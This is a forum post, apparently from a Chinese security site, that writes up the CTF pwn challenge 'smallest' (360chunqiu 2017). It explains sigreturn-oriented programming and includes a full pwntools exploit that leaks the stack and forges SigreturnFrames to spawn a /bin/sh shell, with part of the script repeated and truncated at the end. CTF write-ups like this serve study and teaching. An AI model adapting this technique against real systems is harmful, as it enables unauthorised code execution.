首页
社区
课程
招聘
[原创]【360chunqiu2017】smallest
发表于: 2022-4-28 18:48 14470

[原创]【360chunqiu2017】smallest

2022-4-28 18:48
14470

基于sigreturn的系统调用的rop利用手段

signal机制是linux系统下的软中断,大概如下图

img

主要目的是为了保存进程的信息,以便于恢复。有点类似学习递归的时候教练喊的恢复现场

我们利用的主要是3,4过程,即恢复过程

以X86为例(因为X64放不下)

恢复过程主要是pop一系列的寄存器:

img

好家伙还挺齐全

恢复过程主要是把signalframe上的这些东西pop进去,那如果我们能够伪造,岂不是可以控制寄存器?!美汁汁儿~

由于恢复过程没有严格检查,它甚至没有检查这个signalframe(栈上保存进程信息的那段空间)和之前的是不是同一个,所以我们可以伪造signalframe,通过系统调用sigreturn来控制寄存器

img

好家伙,《简单题》

img

img

开局一个read,其它系统调用全靠硬整

我们最后的目的肯定是调用system或者execve的系统调用(因为这题甚至没给libc文件,就只能考虑系统调用了,没开沙箱用orw纯纯的自己找麻烦)

那么肯定是需要控制寄存器的,main里连个rdx都没有,所以考虑用sigreturn的系统调用控制寄存器

然后还需要知道栈地址,因为需要往sigreturn里面的rdi放'/bin/sh'的地址

泄露栈地址就需要write的系统调用,我们发现read的返回值是读入的字节数,那么如果我们可以让它读1个字节,并且返回到”xor rax,rax“的下一位,那么就可以调用write了。巧就巧在这两个可以同时进行,我们直接读两个函数的起始地址,然后第二次send”xor rax,rax“的下一位地址的低字节,正好就可系统调用write了。

这题还须通过read字符来系统调用sigreturn,也非常巧,基本上是这样:

对于第一次read,send start + ’a‘*8 + fake_sigframe

此时rsp的地址是start,read完后会ret start继续下一次read

这次read send syscall_ret + 'a'*7,即可完成sigreturn的系统调用

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
from pwn import *
from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
##context.terminal = ["tmux", "splitw", "-h"]
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
 
##r = remote("chuj.top", 51904)
##proof_of_work(r)
start=0x4000B0
syscall_ret=0x4000be
r=process('./smallest')
 
def z():
    gdb.attach(r)
 
## primary_set
pd=p64(start)*3
r.send(pd)
 
## leak_stack
r.send('\xb3')
r.recv(8)
stack=u64(r.recv(8))
log.success('stack:'+hex(stack))
 
## sigret_syscall_read
sig=SigreturnFrame()
sig.rax = constants.SYS_read
sig.rdi = 0
sig.rsi = stack
sig.rdx = 0x400
sig.rsp = stack
sig.rip = syscall_ret ##link the syscall of read
 
pd=p64(start)+'a'*8+str(sig)
r.send(pd)
pd=p64(syscall_ret)+'a'*7
z()
r.send(pd)
sleep(1000)
 
sig=SigreturnFrame()
sig.rax = constants.SYS_execve
sig.rdi = stack+0x120
sig.rsi = 0
sig.rdx = 0
sig.rsp = stack
sig.rip = syscall_ret ##link the syscall of execve
 
pd=p64(start)+'b'*8+str(sig)
l=len(pd)
pd+=(0x120-l)*'\x00'+'/bin/sh\x00'
r.send(pd)
pd=p64(syscall_ret)+'b'*7
r.send(pd)
 
 
r.interactive()
from pwn import *
from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
##context.terminal = ["tmux", "splitw", "-h"]
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-5-7 10:18 被Nameless_a编辑 ,原因:
上传的附件:
收藏
免费 4
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//